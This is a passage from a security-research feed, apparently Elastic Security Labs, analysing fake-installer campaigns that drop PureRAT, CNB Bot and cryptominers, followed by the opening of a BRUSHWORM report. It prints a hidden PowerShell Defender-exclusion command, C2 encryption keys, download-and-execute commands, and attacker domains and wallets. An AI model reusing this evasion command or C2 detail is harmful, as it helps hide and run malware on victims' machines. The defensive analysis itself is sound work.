<pre><code>encrypted_field_value = base64_encode(random_iv + AES-256-CBC_encrypt\
 (key: SHA-256('AnCnDai@4zDsxP!a3E'), iv: random_iv, data: plaintext_field_value))
</code></pre>
<p>Fields sent on every request:</p>
<table>
<thead>
<tr>
<th align="left">Field</th>
<th align="left">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>desktop</code></td>
<td align="left">machine name</td>
</tr>
<tr>
<td align="left"><code>username</code></td>
<td align="left">username</td>
</tr>
<tr>
<td align="left"><code>os</code></td>
<td align="left">Windows version</td>
</tr>
<tr>
<td align="left"><code>version</code></td>
<td align="left">bot version (<code>1.1.6.</code>)</td>
</tr>
<tr>
<td align="left"><code>privileges</code></td>
<td align="left">user OR admin</td>
</tr>
<tr>
<td align="left"><code>cpu</code></td>
<td align="left">processor name from the registry</td>
</tr>
<tr>
<td align="left"><code>gpu</code></td>
<td align="left">GPU name(s) from registry</td>
</tr>
<tr>
<td align="left"><code>gpu_type</code></td>
<td align="left">yes (discrete) / no (integrated)</td>
</tr>
<tr>
<td align="left"><code>group</code></td>
<td align="left">group / campaign ID (<code>03_26</code>)</td>
</tr>
<tr>
<td align="left"><code>client_path</code></td>
<td align="left">full path of running executable</td>
</tr>
<tr>
<td align="left"><code>local_ipv4</code></td>
<td align="left">external IP via <code>ipify[.]org</code> / <code>icanhazip[.]com</code> / <code>ident[.]me</code></td>
</tr>
<tr>
<td align="left"><code>auth_token</code></td>
<td align="left">authentication token (<code>0326GJSECMHSHOEYHQMKDZ</code>)</td>
</tr>
<tr>
<td align="left"><code>timestamp</code></td>
<td align="left">Unix epoch (UTC)</td>
</tr>
<tr>
<td align="left"><code>payload</code></td>
<td align="left">Command string (“fetch”, “completed”)</td>
</tr>
</tbody>
</table>
<p>A server response decrypts to either a task string, <code>“NO TASKS”</code>, or <code>“REGISTERED/UPDATED”</code>. When the client requests a task through <code>payload: “fetch”</code>, if a task exists for the client, the C2 response decrypts to a <code>&lt;sep&gt;</code>-delimited task string: <code>task_id&lt;sep&gt;command&lt;sep&gt;argument&lt;sep&gt;RSA_sig</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image32.png" alt="CNB Bot dispatcher function" title="CNB Bot dispatcher function" /></p>
<p>Prior to dispatch, each task undergoes RSA-SHA256 signature verification. The signed message is the concatenated string <code>task_id&lt;sep&gt;command&lt;sep&gt;argument</code>, and the signature is the base64-decoded <code>RSA_sig</code> field. A hardcoded RSA-2048 public key is used for verification.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image20.png" alt="RSA-SHA256 task verification" title="RSA-SHA256 task verification" /></p>
<p>Tasks failing verification are silently dropped. Without the operator's RSA private key, third parties cannot issue commands to infected hosts even with full C2 access.</p>
<h3>Supported Commands</h3>
<p>3 commands are supported, described in the table below:</p>
<table>
<thead>
<tr>
<th align="left">Command</th>
<th align="left">Behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>download_execute</code></td>
<td align="left">Downloads URL argument to <code>%TEMP%\&lt;random&gt;.&lt;ext&gt;</code>. Execute: .exe (hidden), .bat/.cmd (cmd /c), .vbs (wscript.exe), other (ShellExecute).</td>
</tr>
<tr>
<td align="left"><code>update</code></td>
<td align="left">Downloads URL argument to staging location <code>%TEMP%\tmp_updt236974520367.exe</code>. Runs BAT to: kill current PID, overwrite installed binary with staged download, delete staging file, and self-delete BAT.</td>
</tr>
<tr>
<td align="left"><code>uninstall</code></td>
<td align="left">Deletes scheduled task, removes <code>install.dat</code>, self-deletes via BAT, rmdir install dir, and <code>%APPDATA%\HostData\</code>.</td>
</tr>
</tbody>
</table>
<h2>Earlier Campaigns</h2>
<p>Pivoting on the PureRAT mutex <code>Aesthetics135</code>, we discovered an earlier wave of the operation that presented a different fake installer UI.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image25.png" alt="Fake installer interface from early 2025" title="Fake installer interface from early 2025" /></p>
<h3>Early 2025 Build</h3>
<p>The sample <code>bb48a52bae2ee8b98ee1888b3e7d05539c85b24548dd4c6acc08fbe5f0d7631a</code> (first seen 2025-01-30) is a Themida and .NET Reactor-protected Windows Forms application that drops PureRAT v0.3.9.</p>
<p>It consists of 3 classes: <code>Fooo1rm</code> (the ApplicationContext entry point), <code>Form2</code> (the installer UI and the PureRAT dropper), and <code>Form3</code> (a fake registration lure). The code structure closely resembles the more recent campaigns.</p>
<p>On initialization, it immediately invokes a hidden PowerShell one-liner to add itself to Microsoft Defender exclusions before any UI appears: <code>powershell.exe -WindowStyle Hidden Add-MpPreference -ExclusionPath '&lt;self_path&gt;'; Add-MpPreference -ExclusionProcess '&lt;self_path&gt;'</code>. A timer with a 2,846 ms interval fires, instantiating and showing Form2.</p>
<p><code>Form2</code> presents a progress bar dialog titled “Getting things ready” with a 12-step timer ticking every 1,000 ms, simulating a legitimate installation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image18.png" alt="Fake loading bar" title="Fake loading bar" /></p>
<p>A second PowerShell exclusion command covers <code>%LocalAppData%</code>, <code>%AppData%</code>, the drop directory <code>%LocalAppData%\winbuf</code>, and process names including <code>winbuf.exe</code>, <code>wintrs.exe</code>, and <code>AddlnProcess.exe</code>. The PureRAT v0.3.9 payload is extracted from the assembly manifest resource and written to <code>%LocalAppData%\winbuf\winbuf.exe</code>. Persistence is established via <code>schtasks.exe</code>.</p>
<p>Extracted PureRAT config:</p>
<ul>
<li><code>wndlogon.hopto.org</code> (C2 #1)</li>
<li><code>wndlogon.itemdb.com</code> (C2 #2)</li>
<li><code>wndlogon.kozow.com</code> (C2 #3)</li>
<li><code>wndlogon.ydns.eu</code> (C2 #4)</li>
<li><code>Aesthetics135</code> (mutex and C2 comms key)</li>
<li><code>29-01-25</code> (build / campaign date)</li>
</ul>
<p><code>Form3</code> serves purely as a social engineering mechanism to drive <a href="https://en.wikipedia.org/wiki/Cost_per_action">Cost Per Action</a> (CPA) offer completions through a content locker.</p>
<blockquote>
<p>Content lockers are a monetization technique in which access to a resource is gated behind completing CPA (Cost Per Action) offers, such as filling out a survey or signing up for a service. The malware operator earns a commission each time a victim completes one of these offers.</p>
</blockquote>
<p>It presents a fake “Registration Required” dialog with a key entry field, a “Validate” button, and a hyperlink labeled “here” that opens <code>https://tinyurl[.]com/cmvt944y</code>. Key validation is entirely fake. Regardless of input, the handler introduces a hardcoded 2-second delay, then always returns “Invalid key. Please try again.”</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image2.png" alt="Fake registration key input invalidation" title="Fake registration key input invalidation" /></p>
<p>The TinyURL shortlink <code>tinyurl[.]com/cmvt944y</code> redirects to the lure page at <code>rapidfilesdatabaze[.]top/files/z872d515ea17b4e6c3abca9752c706242/</code>.</p>
<p>The page used to host a minimal HTML document titled &quot;Registration Key is Ready&quot;, designed to trick the victim into interacting with the CPA content locker. It presents a download icon and a fake file link labeled <code>Registration_Key.txt</code>, alongside a unique campaign tracking ID (<code>z872d515ea17b4e6c3abca9752c706242</code>) displayed in the page body.</p>
<p>The content locker JavaScript (<code>3193171.js</code>) is loaded from <code>d3nxbjuv18k2dn.cloudfront[.]net</code>, and clicking the <code>Registration_Key.txt</code> link triggers the offer wall under the pretext of unlocking a license key.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image31.png" alt="Content at rapidfilesdatabaze[.]top/files/z872d515ea17b4e6c3abca9752c706242/" title="Content at rapidfilesdatabaze[.]top/files/z872d515ea17b4e6c3abca9752c706242/" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image23.png" alt="CPA content locker JS (3193171.js)" title="CPA content locker JS (3193171.js)" /></p>
<h3>Late 2023 Build</h3>
<p>An older sample - <code>6a01cc61f367d3bae34439f94ff3599fcccb66d05a8e000760626abb9886beac</code> (first seen 2023-11-09) presented a similar fake installer UI. This represents the earliest activity we attributed to this threat actor based on shared infrastructure and tooling.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image29.png" alt="Fake installer interface from late 2023" title="Fake installer interface from late 2023" /></p>
<p>This campaign build dropped PureRAT v0.3.8B, in which the in-memory PE loader component used a SmartAssembly-protected PureCrypter.</p>
<p>Extracted PureRAT config:</p>
<ul>
<li><code>wndlogon.hopto.org</code> (C2 #1)</li>
<li><code>wndlogon.itemdb.com</code> (C2 #2)</li>
<li><code>wndlogon.kozow.com</code> (C2 #3)</li>
<li><code>wndlogon.ydns.eu</code> (C2 #4)</li>
<li><code>Aesthetics135</code> (mutex and C2 comms key)</li>
<li><code>09.11.23</code> (build / campaign date)</li>
</ul>
<p>On the installation window, the “go here” hyperlink opens a short link <code>https://t[.]ly/MQXPm</code> that redirects to the lure page <code>https://softwaredlfast[.]top/files/n71fGbs2b7XceW3op71aQsrx41Rkeydl/</code>, which presents 2 outgoing fake download links:</p>
<ul>
<li><code>https://rapidfilesbaze[.]top/z78fGbs2b7XceWop21aQsrx41Rkeydsktp/</code></li>
<li><code>https://rapidfilesbaze[.]top/z78fGbs2b7XceWop21aQsrx41Rkeymbl/</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image27.png" alt="Content at https://softwaredlfast[.]top/files/n71fGbs2b7XceW3op71aQsrx41Rkeydl/" title="Content at https://softwaredlfast[.]top/files/n71fGbs2b7XceW3op71aQsrx41Rkeydl/" /></p>
<p>Both links were offline at the time of analysis. However, historical data indicates that <code>rapidfilesbaze[.]top</code> has been used consistently for CPA-style offer lures.</p>
<p>A <a href="http://URLScan.io">URLScan.io</a> archived response for a related path (<code>rapidfilesbaze[.]top/h74fGbs2b7XceWop71aQsrx41-Registration-Key-Mobile/</code>) confirms the site's use as a lure landing page.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image12.png" alt="Content at rapidfilesbaze[.]top/h74fGbs2b7XceWop71aQsrx41-Registration-Key-Mobile/" title="Content at rapidfilesbaze[.]top/h74fGbs2b7XceWop71aQsrx41-Registration-Key-Mobile/" /></p>
<p>The downstream unlocker site at <code>https://unlockcontent[.]net/cl/i/me9mn2</code> remains active as of this writing.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image37.png" alt="Content at https://unlockcontent[.]net/cl/i/me9mn2" title="Content at https://unlockcontent[.]net/cl/i/me9mn2" /></p>
<h2>GitHub Profiles</h2>
<p>Beyond the C2 infrastructure, the threat actor abuses GitHub as a payload delivery CDN, hosting staged binaries across two identified accounts. This technique shifts the download-and-execute step away from operator-controlled infrastructure to a trusted platform, reducing detection friction. Both profiles were confirmed through decrypting C2 task traffic captured by VirusTotal sandboxes, which issued download-and-execute tasks pointing directly to raw GitHub content URLs. The operator routinely deletes individual binaries and entire repositories; the files documented below were captured via VirusTotal submissions or direct retrieval from GitHub prior to deletion.</p>
<p>The first profile, <code>https://github[.]com/lebnabar198</code>, surfaced during analysis of Campaign 2. After decrypting the C2 traffic from the <code>windirautoupdates[.]top</code> server, we observed the PureRAT implant being instructed to fetch a payload from this account, specifically the custom XMRig loader <code>MnrsInstllr_240126.exe</code>. This establishes a direct operational link between the PureRAT C2 and this GitHub profile.</p>
<p>The second profile, <code>https://github[.]com/ugurlutaha6116</code>, was identified by decrypting traffic from a PureRAT loader (SHA-256: <code>e1e87d11079d33ec1a1c25629cbb747e56fe17071bde5fd8c982461b5baa80a4</code>), which used the same PBKDF2 key derivation structure with the comms key <code>Aesthetics152</code>. The decrypted task pointed to the hosted payload <code>PM3107.exe</code>.</p>
<p>The hosted files map to the following payloads:</p>
<table>
<thead>
<tr>
<th align="left">Filename</th>
<th align="left">Associated payload</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>CNB-v112-zUpdt-inPmnr.exe</code></td>
<td align="left">CNB Bot</td>
</tr>
<tr>
<td align="left"><code>MyXMRmnr_Instllr_0302.exe</code></td>
<td align="left">Custom XMRig loader</td>
</tr>
<tr>
<td align="left"><code>MnrsInstllr_240126.exe</code>, <code>MnrsInstllr_030126.exe</code></td>
<td align="left">Custom XMRig loader</td>
</tr>
<tr>
<td align="left"><code>PM2311.exe, PM1109.exe</code>, …</td>
<td align="left">PureMiner</td>
</tr>
<tr>
<td align="left"><code>Pmnr_1303_wALL.exe</code>, <code>Pmnr_Instllr_1303.exe</code>, …</td>
<td align="left">PureMiner</td>
</tr>
<tr>
<td align="left"><code>A_Instllr_250525.exe</code></td>
<td align="left">AsyncRAT</td>
</tr>
<tr>
<td align="left"><code>U_n_P_Installer_220725.exe</code>, <code>U_n_P_Installer_110725.exe</code>, …</td>
<td align="left">Loader for SilentCryptoMiner &amp; PureMiner</td>
</tr>
<tr>
<td align="left"><code>umnr_120525.exe</code>, <code>Umnr_1403_frPmnr.exe</code>, …</td>
<td align="left">SilentCryptoMiner</td>
</tr>
<tr>
<td align="left"><code>plsr_instllr_1804.exe</code></td>
<td align="left">Pulsar RAT</td>
</tr>
</tbody>
</table>
<h2>Monero Wallet Analysis</h2>
<p>During our analysis of the cryptominer payloads, we successfully extracted four active Monero (XMR) wallet addresses from the malware's configuration. Because the threat actor is routing their compromised hosts through public mining pools, we can query the pool's public dashboards using these wallet addresses. It provides information about the operational scale and profitability of the campaigns.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image30.png" alt="Tracking mining activity through a public dashboard" title="Tracking mining activity through a public dashboard" /></p>
<p>Based on the telemetry available at the time of writing, here is the current status of the attacker's mining operations:</p>
<ul>
<li><strong>Wallet 1:</strong> <code>87NnUp8GKVBZ8pFV75Gas4A5nMMH7gEeo8AXBhm9Q6vS5oQ6SzCYf1bJr7Lib35VN2UX271PAXeqRFDmjo5SXm3zFDfDSWD</code>
<ul>
<li><strong>Active Workers:</strong> 7</li>
<li><strong>Estimated Hashrate Return:</strong> ~0.0172 XMR / day</li>
<li><strong>Total Paid Out:</strong> 2.2 XMR</li>
</ul>
</li>
<li><strong>Wallet 2:</strong> <code>89FYoLrfXwEDAVAsVYbhAfg3mATUtBzNAK2LG8wwDKfNTRhmNRTBn1VbwpFxEpJ8h5fQa2A4CS1tpRv7amUdJ3ZbUoVu6T1</code>
<ul>
<li><strong>Active Workers:</strong> 3</li>
<li><strong>Estimated Hashrate Return:</strong> ~0.02 XMR / day</li>
<li><strong>Total Paid Out:</strong> 4.23 XMR</li>
</ul>
</li>
<li><strong>Wallet 3:</strong> <code>89WoZKYoHhcNEFRV8jjB6nDqzjiBtQqyp4agGfyHwED1XyVAoknfVsvY1CwEHG6nwZFJGFTF5XbqC4tAQbnoFFCX8UQof3G</code>
<ul>
<li><strong>Active Workers:</strong> 2</li>
<li><strong>Estimated Hashrate Return:</strong> ~0.0057 XMR / day</li>
<li><strong>Total Paid Out:</strong> 11.69 XMR</li>
</ul>
</li>
<li><strong>Wallet 4:</strong><br />
<code>83Q1PKZ5yXsP8SCqjV3aV7B3UoBB3skPp49G1VnnGtv5Y5EUbFQTXvzR9cZshBYBBfd8Dm1snkkud431pdzEZ2uJTad1CiC</code>
<ul>
<li><strong>Active Workers:</strong> 2</li>
<li><strong>Estimated Hashrate Return:</strong> ~0.0036 XMR / day</li>
<li><strong>Total Paid Out:</strong> 9.76 XMR</li>
</ul>
</li>
</ul>
<p>With a combined total of over 27.88 XMR (~ USD$ 9392) already successfully paid out to the attacker, it proves that low-and-slow cryptojacking operations can yield consistent financial returns over time.</p>
<h2>Agentic Payload and Configuration Extraction Pipeline</h2>
<p>In this research, we examined several hundred infection chains across the campaigns we described. For each chain, we have samples, mainly .NET, which are either loaders or final payloads layered with .NET Reactor obfuscation and often Themida packing.</p>
<p>The large number of these chains makes manual configuration and unpacking time-consuming and difficult to scale across all the chains we discovered. This is why, as part of this research, we used the Claude Opus 4.5 model to quickly vibecode a payload and configuration extraction pipeline. In this section, we provide details on the choices we made and the results we obtained with this method.</p>
<h4>Triage</h4>
<p>To optimize processing time, this phase focuses on extensively exploring infection chains using VirusTotal. We begin by obtaining a list of hashes from VirusTotal based on a specific pivot. For instance, using the README.txt content as a pivot to identify other ISOs.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image39.png" alt="VirusTotal ISO pivot" title="VirusTotal ISO pivot" /></p>
<p>Claude is instructed to use a Python script to perform a recursive download. This process involves gathering information about embedded binaries and dropped files associated with each file hash. Claude then uses its “intelligence” to identify the most subsequent link in the chain and continues its investigation until it reaches what it considers the final binary in that chain. After exploring all chains, Claude analyzes the patterns and creates chain types to group them. Finally, the results are compiled into a CSV file for subsequent analysis.</p>
<p>The data we obtained includes the starting hash from VirusTotal and the final hash, representing the last file Claude successfully tracked. This demonstrates that, with the right guidance, Claude can effectively track entire chains using only information from VirusTotal.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image6.png" alt="Triaged data" title="Triaged data" /></p>
<h4>Download and Extraction</h4>
<p>Once the triage file was created, we downloaded the intermediate payloads and instructed Claude to start the automatic payload/configuration extraction process. To do this, we installed an OpenSSH server on a Windows virtual machine, then created a Claude skill containing instructions to connect to this machine and use the installed tools to perform the reverse engineering and extraction workflow.</p>
<p>The workflow is simple: Claude connects to the machine, uploads the sample, detects whether it is obfuscated or packed with Detect It Easy, and applies the appropriate deobfuscation tool until the sample is no longer obfuscated (Unlicense, .NET Reactor Slayer). It then runs the developed extraction scripts to identify what the sample is and determine the next step: either continue extraction with the child payload if the parent is a loader, or store the configuration information for the final report.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image19.png" alt="Payload/Configuration extraction Claude skill" title="Payload/Configuration extraction Claude skill" /></p>
<p>If all the extraction scripts fail, Claude must enter Research Mode. This mode is the most enjoyable part of the skill because it gives Claude a workflow to either automatically develop a new extraction script or identify why the existing script doesn't work with the variant. Claude’s Research Mode consists of using the <a href="https://github.com/dnSpyEx">dnSpyEx</a> tool installed on the machine to compile the sample's C# code, perform a complete code analysis, identify how to extract the payload or configuration, then develop a script with this knowledge to work directly with the raw binaries to be more efficient and finally store the knowledge for the next time it has to work on the same malware family.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image28.png" alt="Research mode instruction" title="Research mode instruction" /></p>
<h4>Results</h4>
<p>Using the Claude Opus 4.5 model, the results were really good. Not only did Claude succeed in handling the obfuscation layers, but it also completely researched and developed, on its own, the methods and scripts (based on the CIL of .NET binaries) to extract the final payloads and their configurations without having encountered them before.</p>
<p>It also demonstrated robust failure handling without requiring additional instruction. For example, when it encountered samples that could not be fully deobfuscated due to issues with Reactor Slayer, which made static extraction too difficult, it stopped processing, documented the problem, and proceeded to the next sample.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image9.png" alt="Claude entering Research Mode on extraction failure" title="Claude entering Research Mode on extraction failure" /></p>
<p>Of course, it is not without drawbacks:</p>
<ul>
<li>Once its context started to fill up too much, it often diverged onto useless paths and required either micro-management or a reset, hence the usefulness of having a skill with reusable instructions and a knowledge base on the work already done.</li>
<li>It takes a long time, every action requires it to “think”, however, it’s automatic and it's definitely time recovered you can use to do something else.</li>
<li>Its token consumption is particularly greedy, especially once you figure out it’s doing a lot of inefficient things.</li>
</ul>
<h2>Observations</h2>
<p>The following tables consolidate malware configurations extracted across the builds we investigated, and are not exhaustive:</p>
<p><strong>CNB Bot</strong></p>
<table>
<thead>
<tr>
<th align="left">Versions</th>
<th align="left"><code>1.1.1.</code>, <code>1.1.2.</code>, <code>1.1.3.</code>, <code>1.1.5.</code>, <code>1.1.6.</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">C2s:</td>
<td align="left"><code>tabbysbakescodes[.]ws/CNB/gate.php</code>&lt;br /&gt;<code>tommysbakescodes[.]ws/CNB/gate.php</code>&lt;br /&gt;<code>tommysbakescodes[.]cv/CNB/gate.php</code>&lt;br /&gt;<code>win64autoupdates[.]top/CNB/gate.php</code>&lt;br /&gt;<code>autoupdatewinsystem[.]top/CNB/gate.php</code></td>
</tr>
<tr>
<td align="left">Campaign/Build ID</td>
<td align="left"><code>03_26</code>, <code>25_02_26</code>, <code>15_02_26</code>, <code>1502_26</code>, <code>0502_26</code>, <code>01-26</code>, <code>frPmnr_0126</code></td>
</tr>
<tr>
<td align="left">Auth tokens</td>
<td align="left"><code>0326GJSECMHSHOEYHQMKDZ</code> <code>020226SNDLPXSHTCSURVQ</code> <code>0226frBLKWNYHD0FS1YWE</code> <code>0126HRAOLQEFNGGRCXMITREQC</code></td>
</tr>
<tr>
<td align="left">Mutex</td>
<td align="left"><code>MTXCNBV11000ERCXSWOLZNBVRGH</code></td>
</tr>
</tbody>
</table>
<p><strong>PureRAT</strong></p>
<table>
<thead>
<tr>
<th align="left">Versions</th>
<th align="left"><code>0.3.8B</code>. <code>0.3.9</code>, <code>0.4.1</code>, <code>3.0.1</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">C2s</td>
<td align="left"><code>windirautoupdates[.]top</code>&lt;br /&gt;<code>winautordr.hopto[.]org</code>&lt;br /&gt;<code>winautordr.itemdb[.]com</code>&lt;br /&gt;<code>winautordr.ydns[.]eu</code>&lt;br /&gt;<code>winautordr.kozow[.]com</code>&lt;br /&gt;<code>wndlogon.hopto[.]org</code>&lt;br /&gt;<code>wndlogon.itemdb[.]com</code>&lt;br /&gt;<code>wndlogon.kozow[.]com</code>&lt;br /&gt;<code>wndlogon.ydns[.]eu</code></td>
</tr>
<tr>
<td align="left">Campaign/Build IDs</td>
<td align="left"><code>23-01-26</code>, <code>14-01-26</code>, <code>03-01-26</code>, <code>24-12-25</code>, <code>25-11-25</code>, <code>08-11-25</code>, <code>29-01-25</code>, <code>09.11.23</code></td>
</tr>
<tr>
<td align="left">Mutex / C2 Comms key</td>
<td align="left"><code>Aesthetics135</code></td>
</tr>
</tbody>
</table>
<p><strong>PureMiner</strong></p>
<table>
<thead>
<tr>
<th align="left">Versions</th>
<th align="left"><code>7.0.6</code>, <code>7.0.7</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">C2s</td>
<td align="left"><code>wndlogon.hopto[.]org</code>&lt;br /&gt;<code>wndlogon.itemdb[.]com</code>&lt;br /&gt;<code>wndlogon.ydns[.]eu</code>&lt;br /&gt;<code>wndlogon.kozow[.]com</code></td>
</tr>
<tr>
<td align="left">Campaign/Build IDs</td>
<td align="left"><code>24-10-25</code>, <code>23-11-25</code>, <code>15-09-25-MassUpdt</code>, <code>11-09-25</code>, <code>08-08-RAM</code>, <code>06-08-RAM</code>, <code>04-08-RAM</code>, <code>31-07-RAM</code>, <code>03-08-RAM</code>, <code>13-03-25</code>, <code>25-07-RAMwALL</code>, <code>25-11-25</code></td>
</tr>
<tr>
<td align="left">Wallet Address</td>
<td align="left"><code>89WoZKYoHhcNEFRV8jjB6nDqzjiBtQqyp4agGfyHwED1XyVAoknfVsvY1CwEHG6nwZFJGFTF5XbqC4tAQbnoFFCX8UQof3G</code></td>
</tr>
<tr>
<td align="left">Mutex / C2 Comms key</td>
<td align="left"><code>4c271ad41ea2f6a44ce8d0</code></td>
</tr>
</tbody>
</table>
<p><strong>Custom XMRig Loader</strong></p>
<table>
<thead>
<tr>
<th align="left">Wallet Addresses</th>
<th align="left"><code>87NnUp8GKVBZ8pFV75Gas4A5nMMH7gEeo8AXBhm9Q6vS5oQ6SzCYf1bJr7Lib35VN2UX271PAXeqRFDmjo5SXm3zFDfDSWD</code>, <code>83sDbPzoghAX45hA2Y26xvaDsKv8TLymAGKKyZwrCKB3T9kuuYBDzb64vfy9XQyrpUFQ4r8u3V2T1EzqE6CR27XmMCCwGu1</code></th>
</tr>
</thead>
</table>
<p><strong>AsyncRAT</strong></p>
<table>
<thead>
<tr>
<th align="left">Versions</th>
<th align="left"><code>0.5.8</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">C2s</td>
<td align="left"><code>wndlogon.hopto[.]org</code>&lt;br /&gt;<code>wndlogon.itemdb[.]com</code>&lt;br /&gt;<code>wndlogon.ydns[.]eu</code>&lt;br /&gt;<code>wndlogon.kozow[.]com</code></td>
</tr>
<tr>
<td align="left">Campaign/Build IDs</td>
<td align="left"><code>BL_Bckp_250525</code></td>
</tr>
</tbody>
</table>
<p><strong>PulsarRAT</strong></p>
<table>
<thead>
<tr>
<th align="left">Versions</th>
<th align="left"><code>1.5.1</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">C2s</td>
<td align="left"><code>wndlogon.hopto[.]org</code>&lt;br /&gt;<code>wndlogon.itemdb[.]com</code>&lt;br /&gt;<code>wndlogon.ydns[.]eu</code>&lt;br /&gt;<code>wndlogon.kozow[.]com</code></td>
</tr>
<tr>
<td align="left">Campaign/Build IDs</td>
<td align="left"><code>18-04-25</code></td>
</tr>
</tbody>
</table>
<p><strong>SilentCryptoMiner</strong></p>
<table>
<thead>
<tr>
<th align="left">Mining Pool</th>
<th align="left"><code>gulf.moneroocean[.]stream:10128</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Wallet</td>
<td align="left"><code>83Q1PKZ5yXsP8SCqjV3aV7B3UoBB3skPp49G1VnnGtv5Y5EUbFQTXvzR9cZshBYBBfd8Dm1snkkud431pdzEZ2uJTad1CiC</code></td>
</tr>
<tr>
<td align="left">Password</td>
<td align="left"><code>CPUrig</code></td>
</tr>
<tr>
<td align="left">Mining proxy/fallback</td>
<td align="left"><code>172.94.15[.]211:5443</code></td>
</tr>
<tr>
<td align="left">Domain</td>
<td align="left"><code>softappsbase[.]top</code></td>
</tr>
<tr>
<td align="left">Domain</td>
<td align="left"><code>autoupdatewinsystem[.]top</code></td>
</tr>
<tr>
<td align="left">Domain</td>
<td align="left"><code>softwaredatabase[.]xyz</code></td>
</tr>
<tr>
<td align="left">Configuration path</td>
<td align="left"><code>https://softappsbase[.]top/UnammnrsettingsCPU.txt</code></td>
</tr>
<tr>
<td align="left">Configuration path</td>
<td align="left"><code>https://autoupdatewinsystem[.]top/UWP1/cpu.txt</code></td>
</tr>
<tr>
<td align="left">Configuration path</td>
<td align="left"><code>https://softwaredatabase[.]xyz/UnammnrsettingsCPU.txt</code></td>
</tr>
<tr>
<td align="left">Communication endpoint</td>
<td align="left"><code>https://softappsbase[.]top/UnamWebPanel7/api/endpoint.php</code></td>
</tr>
<tr>
<td align="left">Communication endpoint</td>
<td align="left"><code>https://autoupdatewinsystem[.]top/UWP1/api/endpoint.php</code></td>
</tr>
<tr>
<td align="left">Communication endpoint</td>
<td align="left"><code>https://softwaredatabase[.]xyz/UnamWebPanel7/api/endpoint.php</code></td>
</tr>
</tbody>
</table>
<p>Here is a <a href="https://gist.github.com/jiayuchann/6728db5acef7b2793a6afa77b600c7c6">GitHub Gist</a> of a list of sample hashes.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/fake-installers-to-monero.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic Security Labs uncovers BRUSHWORM and BRUSHLOGGER]]></title>
            <link>https://www.elastic.co/fr/security-labs/brushworm-targets-financial-services</link>
            <guid>brushworm-targets-financial-services</guid>
            <pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs observed two custom malware components targeting a South Asian financial institution: a modular backdoor with USB-based spreading and a DLL-side-loaded keylogger.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>A South Asian financial institution was targeted with two custom malware components: a modular backdoor (<strong>BRUSHWORM)</strong>  and a keylogger (<strong>BRUSHLOGGER)</strong></li>
<li><strong>BRUSHWORM</strong>  features anti-analysis checks, AES-CBC encrypted configuration, scheduled task persistence, modular DLL payload downloading, USB worm propagation, and broad file theft targeting documents, spreadsheets, email archives, and source code</li>
<li>The keylogger masquerades as libcurl via DLL side-loading, capturing system-wide keystrokes with window context tracking and XOR-encrypted log files</li>
<li>Multiple earlier testing versions (<code>V1.exe</code>, <code>V2.exe</code>, etc.) were discovered on VirusTotal, some using free dynamic DNS infrastructure, indicating iterative development</li>
</ul>
<h2>Introduction</h2>
<p>During a recent investigation, Elastic Security Labs identified malware deployed on a South Asian financial institution’s infrastructure. The victim environment had only SIEM-level visibility enabled, which limited post-exploitation telemetry. The intrusion involved two custom binaries: a backdoor named <code>paint.exe</code> and a keylogger masquerading as <code>libcurl.dll</code>.</p>
<p><strong>BRUSHWORM</strong> functions as the primary implant, responsible for installation, persistence, command-and-control communication, downloading additional modular payloads, spreading via removable media, and stealing files with targeted extensions. <strong>BRUSHLOGGER</strong> supplements this by capturing system-wide keystrokes via a simple Windows keyboard hook and logging the active window context for each keystroke session.</p>
<p>Neither binary employs meaningful code obfuscation, packing, or advanced anti-analysis techniques. The overall quality of the code is low — for example, the backdoor writes its decrypted configuration to disk in cleartext before encrypting and saving a second copy, then deletes the cleartext file. Given the absence of a kill switch, the use of free dynamic DNS servers in testing versions, and some coding mistakes, we assess with moderate confidence that the author is relatively inexperienced and may have leveraged AI code-generation tools during development without fully reviewing the output.</p>
<p>Through VirusTotal pivoting, we identified what appear to be earlier development and testing versions of the backdoor uploaded under filenames such as <code>V1.exe</code>, <code>V2.exe</code>, and <code>V4.exe</code>, with varying configurations.</p>
<h2>BRUSHWORM code analysis</h2>
<p>The backdoor is the primary implant responsible for establishing persistence, communicating with the C2 server, downloading modular payloads, spreading to removable media, and exfiltrating files.</p>
<h3>Anti-analysis and sandbox detection</h3>
